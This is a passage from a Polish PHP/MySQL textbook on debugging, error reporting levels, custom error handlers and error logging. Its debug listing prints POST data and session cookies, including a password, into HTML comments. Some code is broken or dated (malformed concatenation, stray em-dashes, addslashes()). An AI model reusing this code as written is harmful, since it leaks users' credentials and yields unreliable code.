wyników bez prawidłowego połączenia MySQL da w rezultacie nieprofesjonalnie wyglądający
ekran, na którym ukażą się liczne komunikaty o błędach, widoczne dla użytkowników.

Wiele innych, często wykorzystywanych funkcji PHP związanych z MySQL, takich jak
mysqli_query(), również zwraca false, wskazując na wystąpienie błędu.

Jeżeli błąd wystąpi, można uzyskać dostęp do komunikatu o błędzie za pomocą funkcji mysqli_error()
lub do kodu błędu za pomocą mysqli_errno(). Jeżeli ostatnia wykonana funkcja MySQL nie wy-
wołała błędu, mysqli_error() zwraca pusty łańcuch, a mysqli_errno() — 0.

Na przykład przy założeniu, że połączono się z serwerem i wybrano bazę danych, następujący
fragment kodu:
$wynik=mysqli_query($db, 'select * from nie_istnieje' );
echo mysqli_errno($db);
echo '<br />';
echo mysqli_error($db);

może wyświetlić:
1146
Table 'nazwabd.nie_istnieje' doesn't exist

Warto zauważyć, że wynik tych funkcji odnosi się do ostatniej wykonanej funkcji MySQL (innej
niż mysqli_error() i mysqli_errno()). Aby poznać wynik polecenia, należy sprawdzić go przed
wywołaniem kolejnych.

Podobnie jak niepowodzenia w interakcji z plikami, z pewnością wystąpią błędy w interakcji


z bazami danych. Nawet po zakończeniu tworzenia i testowania serwisu może się okazać, że
demon MySQL (mysqld) załamał się lub zabrakło mu dostępnych połączeń. Jeżeli baza danych
pracuje na innym fizycznym komputerze, zależna jest także od innych zawodnych składników
oprogramowania i sprzętu — połączeń sieciowych, sieci, kart sieciowych, routerów i innych znaj-
dujących się pomiędzy serwerem WWW i komputerem baz danych.

Należy pamiętać o sprawdzeniu, czy żądania bazy danych zakończyły się sukcesem, przed próbą
skorzystania z wyniku. Nie ma sensu próba wykonania zapytania po nieudanym połączeniu
się z bazą danych ani też próba pobrania i przetworzenia wyników po wykonaniu nieudanego
zapytania.

Warto zapamiętać, że istnieje różnica pomiędzy nieudanym zapytaniem a zapytaniem, które nie
jest w stanie zwrócić żadnych wyników lub wywrzeć wpływu na jakikolwiek rekord.
528 Część V  Tworzenie praktycznych projektów PHP i MySQL

Zapytanie SQL zawierające błędy składni SQL lub odnoszące się do nieistniejących baz danych,
tabeli lub rzędów może zakończyć się niepowodzeniem. Na przykład następujące zapytanie:
select * from nie_istnieje;

zakończy się niepowodzeniem, ponieważ tabela o takiej nazwie nie istnieje, oraz wygeneruje numer
błędu i komunikat o błędzie, dostępne za pomocą funkcji mysqli_errno() i mysqli_error().

Zapytanie SQL, które jest prawidłowe pod względem składni, a jedynie odnosi się do nieistnie-
jących baz danych, tabeli lub rzędów, generalnie nie zakończy się niepowodzeniem. Może jednak
nie zwrócić żadnych wyników, jeżeli odnosi się do pustej tabeli lub szuka nieistniejących danych.
Na przykład przy założeniu działającego połączenia z bazą danych i istnienia tablicy o nazwie t1
oraz kolumny o nazwie k1 następujące zapytanie:
select * from t1 where k1='nie w bazie danych';

zakończy się powodzeniem, lecz nie zwróci żadnych wyników.

Przed skorzystaniem z wyników zapytania należy sprawdzić zarówno wystąpienie błędu, jak i brak
wyników.

Połączenia z serwisami sieciowymi


Urządzenia i inne programy należące do systemu niekiedy zawodzą, jeśli jednak nie są marnej
jakości, nie powinno się to zdarzać zbyt często. Podczas korzystania z sieci w celu połączenia się
z innymi komputerami i programami w tych komputerach należy się liczyć z faktem, że pewna
część tego systemu będzie często zawodzić. Aby uzyskać połączenie między jednym kompute-
rem a drugim, konieczne jest oparcie się na licznych urządzeniach i usługach niepodlegających
naszej kontroli.

Chociaż istnieje ryzyko powtarzania się, konieczne jest dokładne sprawdzenie wartości zwracanej
przez funkcję próbującą dokonać interakcji z serwisem sieciowym.

Wywołanie funkcji podobne do


$sp=fsockopen('localhost', 5000);

zwróci ostrzeżenie, jeżeli nie powiedzie się próba jego połączenia z portem 5000 w komputerze
localhost, lecz ostrzeżenie to zostanie wyświetlone w formacie domyślnym, a w skrypcie nie będzie
możliwości obsłużenia go w elegancki sposób.

Zmiana powyższej instrukcji na następującą:


$sp = @fsockopen('localhost', 5000, &$errorno, &$errorstr);
if(!$sp) {
echo "BŁĄD: $errorno: $errorstr";
}

spowoduje wytłumienie wbudowanego komunikatu o błędzie, sprawdzenie wartości zwracanej


pod kątem wystąpienia błędu oraz wykonanie napisanego przez programistę kodu obsługującego
komunikat o błędzie. Kod w takiej postaci wyświetli komunikat o błędzie, który może być pomocny
w jego naprawieniu, czego nie można powiedzieć o wcześniejszym przykładzie. W powyższym
przykładzie wynik byłby następujący:
BŁĄD: 10035: A non-blocking socket operation could not be completed immediately.

Błędy wykonania są trudniejsze do wyeliminowania niż błędy składni, ponieważ analizator skła-
dniowy nie może ich zasygnalizować przy pierwszym uruchomieniu kodu. Ponieważ występują
one w wyniku kombinacji przypadków, mogą być trudne do wykrycia i usunięcia. Analizator
Rozdział 26.  Usuwanie i rejestracja błędów 529

składniowy nie potrafi automatycznie stwierdzić, że konkretny wiersz kodu wywoła błąd. Jedynie
testowanie może spowodować jedną z sytuacji prowadzących do ujawnienia błędu.

Obsługa błędów wywołania wymaga zdolności przewidywania, którego wynikiem jest sprawdze-
nie różnych możliwych typów niepowodzenia i podjęcie odpowiedniego działania. Zakłada również
dokładne testowanie w celu symulacji każdego typu błędów wywołania.

Nie oznacza to, że konieczna jest symulacja każdego możliwego błędu. Na przykład MySQL może
zwracać setki różnych numerów i komunikatów o błędach. Zamiast tego należy symulować błąd
w każdej funkcji, która może się skończyć zgłoszeniem błędu, oraz wystąpienie błędu każdego typu,
który jest obsługiwany przez inny blok kodu.

Brak sprawdzenia danych wprowadzonych przez użytkownika


Często przewiduje się dane wprowadzane przez użytkownika. Jeżeli nie pasują one do przewidy-
wań, mogą wywołać błąd, zarówno wykonania, jak i logiczny (opisane w następnym podrozdziale).

Klasyczny błąd wykonania występuje podczas przetwarzania wpisów użytkownika, kiedy w wyniku
przeoczenia nie zostanie zastosowana funkcja addslashes(). Oznacza to, że jeżeli wystąpi użyt-
kownik o nazwisku takim jak O’Grady (dotyczy to zwłaszcza nazwisk anglojęzycznych), które
zawiera apostrof, wynikiem jest błąd funkcji baz danych, jeśli w instrukcji INSERT umieszczone
zostanie takie nazwisko otoczone tylko znakami apostrofu.

Błędy wynikające ze złych przewidywań na temat wprowadzanych danych zostaną opisane w na-
stępnym podrozdziale.

Błędy logiczne
Błędy logiczne są typem błędów najtrudniejszym do odnalezienia i wyeliminowania. Występują
one w sytuacji, w której prawidłowy kod wykonuje dokładnie to, co zostało mu nakazane, lecz
niezgodnie z zamysłem twórcy.

Błędy logiczne mogą zostać wywołane przez prostą pomyłkę podczas wpisywania kodu, na
przykład:
for($i=0; $i<10; $i++);
{
echo 'coś się dzieje<br />';
}

Powyższy fragment kodu jest prawidłowy; posiada poprawną składnię PHP. Nie opiera się na
żadnych zewnętrznych usługach, także raczej nie wywoła błędu wykonania. Jedynie dokład-
ne przeanalizowanie tego fragmentu ujawnia, że nie wykona on działania, które można przewidzieć,
ani też działania, które chciał spowodować programista.

Na pierwszy rzut oka kod wygląda tak, jakby dokonywał dziesięciokrotnej iteracji pętli for, za
każdym razem wyświetlając napis coś się dzieje. Dodanie zbytecznego średnika na końcu
pierwszego wiersza oznacza, że pętla nie będzie wywierać żadnego wpływu na następne wiersze.
Pętla for dokona dziesięciokrotnej iteracji bez żadnego wyniku, a instrukcja echo zostanie wykonana
tylko raz.
530 Część V  Tworzenie praktycznych projektów PHP i MySQL

Ponieważ powyższy kod jest prawidłowym, chociaż nieskutecznym sposobem osiągnięcia tegoż
wyniku, analizator składniowy nie będzie zgłaszał błędów. Komputery sprawnie wykonują pewne
zadania, lecz nie odznaczają się ani tzw. zdrowym rozsądkiem ani inteligencją. Maszyna wykona
dokładnie to, co zostanie jej nakazane. Należy jedynie upewnić się, że o to właśnie nam chodziło.

Błędy logiczne nie są spowodowane nieprawidłowościami kodu, ale jedynie błędem programisty,
który nie napisał kodu instruującego komputer, by zrobił dokładnie to, co chciał osiągnąć. W rezul-
tacie błędy te nie mogą zostać wykryte automatycznie. Nie zostanie wyświetlona żadna informacja
o błędzie ani też numer wiersza, w którym występuje problem. Błędy logiczne mogą zostać wykryte
jedynie poprzez odpowiednie testowanie.

Błąd logiczny, taki jak w powyższym, bardzo prostym przykładzie, jest stosunkowo łatwy do
popełnienia. Nietrudno go jednak poprawić, kiedy podczas pierwszego uruchomienia kodu wyświe-
tlony wynik będzie inny niż spodziewany. Większość błędów logicznych nastręcza wszakże więcej
kłopotów.

Kłopotliwe błędy logiczne są zazwyczaj wynikiem nietrafnych przewidywań twórcy kodu. W roz-
dziale 25. opisaliśmy zalecaną technikę, polegającą na dokonywaniu przeglądu kodu przez innych
programistów w celu zasugerowania dodatkowych sytuacji testowych oraz na wynajmowaniu
jako testerów osób z kręgu docelowej klienteli. Błędne założenie, że ludzie będą wprowadzać
jedynie określone typy danych, często się zdarza, a w tym przypadku trudno jest wykryć błędy,
jeżeli jedynym testerem jest sam programista.

Tworząc na stronie handlowej pole tekstowe, należy zastanowić się nad kilkoma zagadnieniami. Czy
użytkownicy będą wpisywać jedynie wartości dodatnie? Jeżeli użytkownik wpisze wartość –10, to
czy oprogramowanie przeleje na jego kartę kredytową dziesięciokrotną wartość danego przedmiotu?

Podobnie można założyć, że utworzone zostaje pole tekstowe, w którym wpisuje się wartość
w dolarach. Czy użytkownicy powinni wpisywać wartość ze znakiem dolara, czy też bez niego?
Czy użytkownicy mogą wpisywać liczby z tysiącami oddzielonymi przecinkami? Niektóre z tych
kwestii mogą zostać sprawdzone po stronie klienta (na przykład za pomocą JavaScriptu), aby
nieco odciążyć serwer.

Jeżeli informacje są przekazywane do innej strony, czy pomyślano o tym, że w przesyłanych


łańcuchach znaków mogą występować znaki posiadające specjalne znaczenie w URL-ach, takie
jak spacje?

Istnieje nieskończona liczba możliwych błędów logicznych. Nie ma automatycznego sposobu


ich poszukiwania. Jedynym rozwiązaniem jest, po pierwsze, wyeliminowanie przewidywań
umieszczonych w kodzie, a po drugie — dokładne przetestowanie każdego możliwego prawidłowe-
go i nieprawidłowego typu danych wejściowych i upewnienie się co do przewidywanych wyników.

Pomoc w usuwaniu błędów w zmiennych


Kiedy projekt staje się bardziej skomplikowany, przydatne jest utworzenie programu usługowego,
pomocnego w identyfikacji powodu błędów. Fragment kodu, który może okazać się przydatny,
jest przedstawiony na listingu 26.1. Poniższy kod wyświetli zawartość zmiennych przekazanych
stronie.
Rozdział 26.  Usuwanie i rejestracja błędów 531

Listing 26.1. skladuj_zmienne.php — poniższy kod może być dołączony do strony w celu wyświetlenia
zawartości zmiennych dla usunięcia błędów1
<?php
session_start();

// poniższy kod formatuje wyniki jako komentarze HTML


// i wywołuje regularnie funkcję skladuj_tablice()

echo "\n<!-- ROZPOCZĘCIE SKŁADOWANIA ZMIENNYCH -->\n\n";

echo "<!-- ZMIENNE GET -->\n";


echo "<!—-".skladuj_tablice($_GET)." -->\n";

echo "<!-- ZMIENNE POST -->\n";


echo "<!—-".skladuj_tablice($_POST)." -->\n";

echo "<!-- ZMIENNE SESJI -->\n";


echo "<!—-".skladuj_tablice($_SESSION)." -->\n";

echo "<!-- ZMIENNE COOKIE -->\n";


echo "<!—-".skladuj_tablice($_COOKIE)." -->\n";

echo "\n<!-- ZAKOŃCZENIE SKŁADOWANIA ZMIENNYCH -->\n";

// skladuj_tablice() przyjmuje jako parametr tablicę


// funkcja iteruje przez tablicę i tworzy pojedynczy łańcuch znaków,
// który reprezentuje tablicę w formie zbioru

function skladuj_tablice($tablica) {
if(is_array($tablica)) {
$rozmiar = count($tablica);
$ciag = "";
if($rozmiar) {

$licznik = 0;
$ciag .= "{ ";
// dodanie klucza i wartości każdego elementu do łańcucha znaków
foreach($tablica as $zmienna => $wartosc) {

$ciag .= "$zmienna." = ".$wartosc";


if($licznik++ < ($rozmiar-1)) {
$ciag .= ", ";
}
}
$ciag .= " }";
}
return $ciag;
} else {
// jeśli $tablica nie jest tablicą, zostaje zwrócona w oryginalnej postaci
return $tablica;
}
}

?>

1
Plik dostępny pod adresem: ftp://ftp.helion.pl/przyklady/phmsv5.zip — przyp. red.
532 Część V  Tworzenie praktycznych projektów PHP i MySQL

Powyższy kod wyświetla cztery tablice zmiennych przekazanych do strony. Jeżeli stronę wywołano
ze zmiennymi GET, zmiennymi POST, cookies lub strona ta posiada zmienne sesji, zostaną one
wyświetlone.

Wyniki zostały umieszczone wewnątrz komentarzy HTML, tak więc są one widoczne, lecz nie
kolidują ze sposobem tworzenia widocznych elementów strony przez przeglądarkę. Jest to wy-
godny sposób tworzenia informacji pomocnych w testowaniu. Dzięki ukryciu informacji z procesu
debugowania w komentarzach, jak uczyniono to w kodzie z listingu 26.1, kod dla celów testo-
wania można pozostawić w skrypcie aż do ostatniej chwili. Jako nakładkę na funkcję print_r()
zdefiniowano funkcję skladuj_tablice(). Funkcja ta umieszcza jedynie znaki ucieczki przed
zamykającymi znacznikami komentarzy HTML.

Dokładna forma wyniku zależy od zmiennych przekazanych stronie. Kiedy zostanie on dodany
do listingu 22.4, jednego z przykładów uwierzytelniania zawartych w rozdziale 22., dorzuci nastę-
pujące wiersze do kodu HTML tworzonego przez skrypt:
<!-- ROZPOCZĘCIE SKŁADOWANIA ZMIENNYCH -->

<!-- ZMIENNE GET -->


<!—-Array
(
)
-->
<!-- ZMIENNE POST -->
<!—-Array
(
[iduzytkownika] => testowy
[haslo] => haslo
)
-->
<!-- ZMIENNE SESJI -->
<!—- Array
(
)
-->
<!-- ZMIENNE COOKIE -->
<!—-Array
(
[PHPSESSID] => 2552dc82bb465af56d65e9300f75fd68
)
-->

<!-- ZAKOŃCZENIE SKŁADOWANIA ZMIENNYCH -->

Powyższy skrypt wyświetla zmienne POST wysłane przez formularz logowania z poprzedniej
strony — iduzytkownika i haslo. Pokazuje on również zmienną sesji, stosowaną do przechowywania
nazwy użytkownika — PHPSESSID. Jak opisano w rozdziale 22., PHP stosuje cookie w celu połącze-
nia zmiennych sesji z konkretnymi użytkownikami. Skrypt zwraca pseudolosowy numer,
PHPSESSID, przechowywany w tym cookie w celu identyfikacji konkretnego użytkownika.

Poziomy zgłaszania błędów


PHP pozwala na ustawienie, z jaką dokładnością powinien obsługiwać błędy. Można określić, które
typy błędów będą powodowały wyświetlanie komunikatów. Domyślnie PHP zgłasza wszystkie
błędy oprócz uwag.
Rozdział 26.  Usuwanie i rejestracja błędów 533

Poziom zgłaszania błędów jest ustawiany za pomocą predefiniowanych stałych, przedstawionych


w tabeli 26.1.

Tabela 26.1. Stałe zgłaszania błędów

Wartość Nazwa Znaczenie


1 E_ERROR Zgłasza krytyczne błędy wykonania
2 E_WARNING Zgłasza niekrytyczne błędy wykonania
4 E_PARSE Zgłasza błędy składni
8 E_NOTICE Zgłasza uwagi, że niektóre wpisane fragmenty mogą okazać się błędne
16 E_CORE_ERROR Zgłasza niepowodzenia podczas startu mechanizmu PHP
32 E_CORE_WARNING Zgłasza niekrytyczne niepowodzenia podczas startu mechanizmu PHP
64 E_COMPILE_ERROR Zgłasza błędy kompilacji
128 E_COMPILE_WARNING Zgłasza niekrytyczne błędy kompilacji
256 E_USER_ERROR Zgłasza błędy wywołane przez użytkownika
512 E_USER_WARNING Zgłasza ostrzeżenia wyzwolone przez użytkownika
1024 E_USER_NOTICE Zgłasza uwagi wyzwolone przez użytkownika
2048 E_STRICT Zgłasza fakt zastosowania rozwiązań przestarzałych lub odradzanych;
nie zawiera się w E_ALL, lecz jest bardzo przydatne w trakcie usprawniania kodu.
Dodatkowo sugeruje zmiany zwiększające możliwości współdziałania
4096 E_RECOVERABLE_ERROR Zgłasza błędy krytyczne, które można przechwycić
8192 E_DEPRECATED Zgłasza ostrzeżenia informujące o kodzie, który może nie działać
w przyszłych wersjach PHP
16384 E_USER_DEPRECATED Zgłasza ostrzeżenia generowane przy użyciu funkcji PHP trigger_error()
32767 E_ALL Zgłasza wszystkie błędy i ostrzeżenia, z wyjątkiem tych zgłaszanych
w trybie E_STRICT

Każda stała przedstawia pewien typ błędu, który może być zgłoszony lub zignorowany. Jeżeli
na przykład poziom błędów zostanie określony jako E_ERROR, zgłaszane będą tylko błędy krytyczne.
Powyższe stałe mogą być łączone za pomocą arytmetyki binarnej w celu utworzenia różnych
poziomów błędów.

Domyślny poziom błędów, który zwraca wszystkie błędy oprócz uwag, jest określony jako:
E_ALL & ~E_NOTICE

Powyższe wyrażenia składa się z dwóch predefiniowanych zmiennych, połączonych za pomocą


bitowych operatorów arytmetycznych. Symbol & to bitowy operator AND (i), a tylda (~) to bitowe
NOT (nie). Wyrażenie powyższe można odczytać jako E_ALL AND NOT E_NOTICE.

Stała E_ALL jest połączeniem wszystkich innych typów błędów z wyjątkiem E_STRICT. Może być
ona zastąpiona przez inne poziomy, połączone za pomocą bitowego operatora OR (lub) — |.
E_ERROR | E_WARNING | E_PARSE | E_NOTICE | E_CORE_ERROR | E_CORE_WARNING | E_COMPILE_ERROR |
E_COMPILE_WARNING | E_USER_ERROR | E_USER_WARNING | E_USER_NOTICE

Podobnie, domyślny poziom zgłaszania błędów może być określony poprzez wszystkie poziomy
błędów, z wyjątkiem uwag połączonych razem operatorem OR.
534 Część V  Tworzenie praktycznych projektów PHP i MySQL

E_ERROR | E_WARNING | E_PARSE | E_CORE_ERROR | E_CORE_WARNING | E_COMPILE_ERROR |


E_COMPILE_WARNING | E_USER_ERROR | E_USER_WARNING | E_USER_NOTICE

Zmiana ustawień zgłaszania błędów


Ustawienia zgłaszania błędów mogą być określone globalnie, w pliku php.ini, lub też dla każdego
skryptu.

Aby zmienić zgłaszanie błędów we wszystkich skryptach, należy zmodyfikować cztery wiersze
w domyślnym pliku php.ini:
error_reporting = E_ALL & ~E_NOTICE & ~E_STRICT & ~E_DEPRECATED
display_errors = On
display_startup_errors = Off
log_errors = Off
log_errors_max_len = 1024
ignore_repeated_errors = Off
ignore_repeated_source = Off
report_memleaks = On
track_errors = Off
html_errors = On
error_log =

Domyślne zmienne globalne posiadają następujące znaczenie:


 Zgłaszanie wszystkich błędów oprócz uwag, informacji o stosowaniu przestarzałych
rozwiązań oraz ostrzeżeń o kodzie, który może być uznany za przestarzały w przyszłości.
 Niewyświetlanie błędów w trakcie sekwencji uruchamiania.
 Brak zapisywania komunikatów o błędach w dzienniku zdarzeń na dysku, a jeśli już,
to długość rejetrowanego komunikatu nie będzie przekraczać 1024 bajtów.
 Nierejestrowanie ani powtarzających się błędów, ani numerów wierszy kodu źródłowego.
 Zapisywanie informacji o wyciekach pamięci.
 Brak śledzenia błędów, błąd przechowywany w zmiennej $php_errormsg.
 Wyświetlanie komunikatów o błędach jako HTML w przeglądarce.
 Przesyłanie wszystkich błędów do standardowego strumienia wyjściowego błędów:
stderr.

Najczęstszą modyfikacją powyższych zmiennych jest zwiększenie poziomu zgłaszania zmiennych


na E_ALL | E_STRICT. Spowoduje to wyświetlanie wielu uwag na temat zdarzeń, które mogą
spowodować błędy. Mogą one też wynikać z działania programisty wykorzystującego słabo zary-
sowane typy zmiennych PHP i fakt, że są one inicjowane automatycznie z wartością 0.

Podczas testowania i usuwania błędów przydatne może się okazać ustawienie wyższego poziomu
error_reporting. W kodzie ostatecznym, jeżeli dołączone są własne przydatne komunikaty o błę-
dach, bardziej profesjonalnie będzie wyglądać wyłączenie display_errors i włączenie log_errors,
przy wysokim poziomie error_reporting. Możliwe będzie później odniesienie się do dokładnych
błędów w dziennikach zdarzeń, jeżeli zostaną zgłoszone jakieś problemy.

Włączenie track_errors może pomóc w obsługiwaniu błędów we własnym zakresie, bez korzy-
stania z domyślnych możliwości PHP. Chociaż PHP dostarcza przydatnych komunikatów o błędach,
jego domyślne zachowanie wywiera niekorzystne wrażenie, kiedy wystąpią jakieś problemy.
Rozdział 26.  Usuwanie i rejestracja błędów 535

Domyślnie po wystąpieniu błędu krytycznego PHP wyświetli następujący komunikat:


<br>
<b>Typ błędu</b>: komunikat o błędzie in <b>sciezka/plik.php</b>
on line <b>numerWiersza</b><br>

po czym nastąpi przerwanie wykonywania skryptu. Podobny wynik pojawia się w przypadku błę-
dów niekrytycznych, lecz wykonanie postępuje dalej.

Powyższy kod HTML wyświetla wyraźnie błąd, lecz nie prezentuje się najlepiej. Styl komunikatu
o błędzie najprawdopodobniej różni się od wyglądu pozostałej części strony. Jego wynikiem może
być też pusty ekran użytkowników, jeżeli zawartość strony jest wyświetlona w tabeli, a przeglądarka
nie radzi sobie z wyświetleniem poprawnego kodu HTML. Dzieje się tak, ponieważ HTML
otwiera, lecz nie domyka elementów tablicy, na przykład:
<table>
<tr><td>
<br>
<b>Typ błędu</b>: komunikat o błędzie in <b>sciezka/plik.php</b>
on line <b>numerWiersza</b><br>

W niektórych przeglądarkach użycie powyższego kodu spowoduje wyświetlenie pustego ekranu.

Nie jest konieczne zachowanie domyślnej obsługi błędów PHP, a nawet stosowanie takich samych
ustawień dla wszystkich plików. Aby zmienić poziom zgłaszania błędów w danym skrypcie,
należy wywołać funkcję: error_reporting().

Przekazanie zmiennej zgłaszającej błędy lub połączenia kilku z nich ustawia poziom w ten sam spo-
sób, jak czyni to podobna opcja w pliku php.ini. Funkcja ta zwraca poprzedni poziom zgłaszania
błędów. Popularny sposób korzystania z tej funkcji jest następujący:
// wyłączenie zgłaszania błędów
$stary_poziom=error_reporting(0);
// tu należy umieścić kod generujący ostrzeżenia
// ponowne włączenie zgłaszania błędów
error_reporting($stary_poziom);

Powyższy fragment kodu wyłącza zgłaszanie błędów, pozwalając na wykonanie pewnego kodu
skłonnego do generowania ostrzeżeń, które niekoniecznie zostaną wyświetlone.

Stałe wyłączenie zgłaszania błędów jest niefortunnym pomysłem, ponieważ znacznie utrudnia
poszukiwania i naprawę błędów kodowania.

Wyzwalanie własnych błędów


Funkcja trigger_error() może zostać zastosowana do wyzwalania własnych błędów. Błędy
utworzone w ten sposób obsługiwane są identycznie jak zwykłe błędy PHP.

Funkcja ta pobiera jako parametr komunikat o błędzie oraz opcjonalnie typ błędu. Typ błędu musi
być jednym z typów E_USER_ERROR, E_USER_WARNING lub E_USER_NOTICE. Jeżeli nie zostanie podany,
domyślnym typem jest E_USER_NOTICE.

Funkcji trigger_error() używa się w sposób podany poniżej:


trigger_error('Ten komputer ulegnie samozniszczeniu za 15 sekund', E_USER_WARNING);
536 Część V  Tworzenie praktycznych projektów PHP i MySQL

Eleganckie rejestrowanie błędów


Programiści pracujący wcześniej w C++ lub Javie są zapewne dobrze obeznani z mechanizmem
wyjątków. Wyjątki pozwalają na zasygnalizowanie przez funkcję wystąpienia błędu i przekazanie
obsługi błędu kodowi obsługującemu wyjątki. Wyjątki stanowią doskonały mechanizm obsługi
błędów w dużych projektach. Zostały one wyczerpująco przedstawione w rozdziale 7., dlatego
tutaj nie będziemy się już nimi zajmować.

Powyżej zostało opisane wyzwalanie własnych błędów. Można również utworzyć własne elementy
obsługujące błędy.

Funkcja set_error_handler() pozwala na wprowadzenie funkcji, która zostanie wywołana, jeżeli


wystąpią błędy, ostrzeżenia lub uwagi na poziomie użytkownika. Funkcję set_error_handler()
wywołuje się z nazwą funkcji, która ma być zastosowana do obsługi błędów.

Funkcja obsługująca błędy musi pobierać dwa parametry, typ błędu i komunikat o błędzie. Na pod-
stawie tych dwu zmiennych funkcja zadecyduje o sposobie obsłużenia błędu. Typ błędu musi być
jednym ze zdefiniowanych typów stałych. Komunikat o błędzie to łańcuch zawierający opis.

Wywołanie funkcji set_error_handler() odbywa się w następujący sposób:


set_error_handler('moja_obsluga_bledow');

Po nakazaniu PHP korzystania z funkcji o nazwie moja_obsluga_bledow() należy utworzyć funkcję


o takiej nazwie. Musi ona posiadać następujący prototyp:
moja_obsluga_bledow(int typ_błędu, string komunikat_o_błędzie
[, string plik [, int wiersz [, array kontekst]]])

To, co wykonuje, jest jednak całkowicie zależne od jej twórcy.

Do funkcji obsługującej błędy przekazuje się następujące parametry:


 typ błędu,
 komunikat o błędzie,
 plik, w którym błąd się pojawił,
 wiersz, w którym błąd wystąpił,
 tabela symboli, to znaczy zestaw wszystkich zmiennych i ich wartości w momencie
wystąpienia błędu.

Możliwe działania logiczne to między innymi:


 wyświetlanie dostarczonego komunikatu o błędzie,
 rejestrowanie informacji w dzienniku zdarzeń,
 przesłanie błędu pocztą elektroniczną na podany adres,
 zakończenie skryptu poprzez wywołanie exit.

Listing 26.2 zawiera skrypt, który deklaruje funkcje obsługującą błędy, wprowadza ją za pomocą
set_error_handler(), po czym wyzwala kilka błędów.
Rozdział 26.  Usuwanie i rejestracja błędów 537

Listing 26.2. obsluga.php — skrypt deklaruje utworzoną przez użytkownika funkcję obsługującą błędy
oraz wyzwala różne błędy
<?php
// funkcja obsługująca błędy
function moja_obsluga_bledow($numerbl, $ciagbl, $plikbl, $liniabl) {
echo "<p><strong>BŁĄD:</strong>".$ciagbl."</p>
<p>Proszę spróbować ponownie lub skontaktować się z administratorem i
przekazać, że błąd wystąpił w linii $liniabl pliku ".$plikbl.".<br />
To nam ułatwi rozwiązanie problemu.</p>";

if (($numerbl == E_USER_ERROR) || ($numerbl == E_ERROR)) {


echo "<p>Błąd krytyczny, zakończenie programu</p>";
exit;
}
echo "<hr />";
}

// ustawienie obsługi błędów


set_error_handler('moja_obsluga_bledow');

// wyzwolenie różnych poziomów błędów


trigger_error('Wywołana funkcja wyzwalająca', E_USER_NOTICE);
fopen('zadenplik', 'r');
trigger_error('Ten komputer jest beżowy', E_USER_WARNING);
include('zadenplik');
trigger_error('Ten komputer ulegnie samozniszczeniu za 15 sekund', E_USER_ERROR);
?>

Wynik uruchomienia powyższego skryptu jest przedstawiony na rysunku 26.1.

Rysunek 26.1.
Przy zastosowaniu
własnej obsługi błędów
możliwe jest podawanie
komunikatów o błędach
bardziej przyjaznych
niż domyślne PHP

Powyższa dodana funkcja obsługująca błędy nie czyni więcej niż mechanizmy wbudowane.
Ponieważ kod takich funkcji pisze się w dowolny sposób, funkcjom tym można narzucić każde
działanie. Pozwalają one na selekcję informacji przekazywanych odwiedzającym w wypadku
538 Część V  Tworzenie praktycznych projektów PHP i MySQL

wystąpienia błędów oraz wybór sposobu ich prezentacji, aby pasował on do wyglądu pozostałej
części witryny. Co ważniejsze, zapewnia elastyczność decyzji. Czy skrypt powinien kontynuować
działanie? Czy komunikat powinien być wyświetlony, czy zapisany? Czy automatycznie powinna
zostać powiadomiona obsługa techniczna?

Należy pamiętać, że funkcja obsługująca błędy nie będzie ponosić odpowiedzialności za wszystkie
ich typy. Niektóre błędy, takie jak błędy składni i krytyczne błędy wykonania, będą obsługiwane
w sposób domyślny. Jeżeli jest to sprawa ważna w danym przypadku, należy dokładnie sprawdzić
parametry przed przekazaniem ich funkcji, która może wywołać błędy krytyczne i wyzwolić
własny poziom błędów E_USER_ERROR (jeżeli jest pewne, że parametry te spowodują błąd).

PHP zawiera jeszcze jeden nowy mechanizm: jeżeli napisana funkcja obsługi błędów jawnie
zwróci wartość false, wywołany zostanie wbudowany mechanizm obsługi błędów PHP. W ten
sposób można samodzielnie obsługiwać błędy typu E_USER_*, a w przypadku zwykłych błędów
zdać się na wbudowany mechanizm PHP.

Rejestrowanie błędów w pliku dziennika


PHP pozwala na rejestrowanie błędów w pliku dziennika, a nie przesyłanie ich do standardowego
strumienia wyjściowego błędów (stderr) lub wyświetlanie w przeglądarce WWW. Takie rozwią-
zanie ma także tę zaletę, że poprawia przejrzystość aplikacji oraz jej bezpieczeństwo. Błędy PHP
są w stanie udostępniać informacje na temat ścieżek dostępu do plików, schematu bazy danych,
jak również inne wrażliwe dane. Rejestrując błędy w pliku, można zapewnić, że informacje te pozo-
staną w bezpiecznym miejscu.

W celu włączenia rejestrowania błędów w pliku należy zmienić ustawienia w pliku php.ini, określa-
jąc wartość dyrektywy konfiguracyjnej error_log. Na przykład aby zapisywać wszystkie zgłasza-
ne błędy w pliku /var/log/bledy-php.log, należy użyć dyrektywy o następującej postaci:
error_log = /var/log/bledy-php.log

Następnie trzeba się także upewnić, że zostanie wyłączona dyrektywa display_errors, tak aby błędy
nie były przesyłane do użytkownika końcowego:
display_errors = off

W końcu należy ponownie uruchomić serwer, by zmiany konfiguracji PHP zostały uwzględnione.
Po ponownym uruchomieniu serwera będzie już można wygodnie przeglądać dziennik błędów
(miejmy tylko nadzieję, że nie będzie w nim zbyt wielu wpisów).

W następnym rozdziale
W rozdziale 27., „Tworzenie uwierzytelniania użytkowników i personalizacji”, przedstawiony
zostanie sposób rejestrowania użytkowników w witrynie, śledzenia tego, czym są oni zaintereso-
wani, i prezentowania im odpowiednio dostosowanych treści.
Rozdział 27.
Tworzenie uwierzytelniania
użytkowników
i personalizacji
W tym projekcie umożliwimy użytkownikom rejestrację w witrynie WWW. Gdy użytkownicy
się zarejestrują, będziemy mogli śledzić ich zainteresowania oraz pokazywać właściwą dla nich
zawartość witryny. Działalność taka nosi nazwę personalizacji użytkowników.

Ten konkretny projekt pozwoli na stworzenie przez użytkowników zbioru zakładek w sieci
WWW. Zostaną im również zasugerowane, na podstawie ich poprzednich zachowań, inne łącza,
które mogą im się wydać interesujące. Uogólniając, personalizacja użytkowników może zostać
wykorzystana w niemal każdej aplikacji WWW w celu przedstawienia poszukiwanych przez nich
informacji, zaprezentowanych w odpowiednim formacie.

Ten projekt rozpocznie się od przeglądu zbioru wymagań podobnych do tych, które można
otrzymać od klienta. Wymagania te zostaną rozwinięte w zbiór składników rozwiązania. Zapro-
jektujemy ich połączenie oraz wykonamy implementację.

W tym projekcie zostaną zaimplementowane następujące możliwości funkcjonalne:


 logowanie i uwierzytelnianie użytkowników,
 zarządzanie hasłami,
 przechowywanie preferencji użytkowników,
 personalizacja zawartości,
 rekomendowanie zawartości na podstawie dostępnej wiedzy o użytkowniku.

Składniki rozwiązania
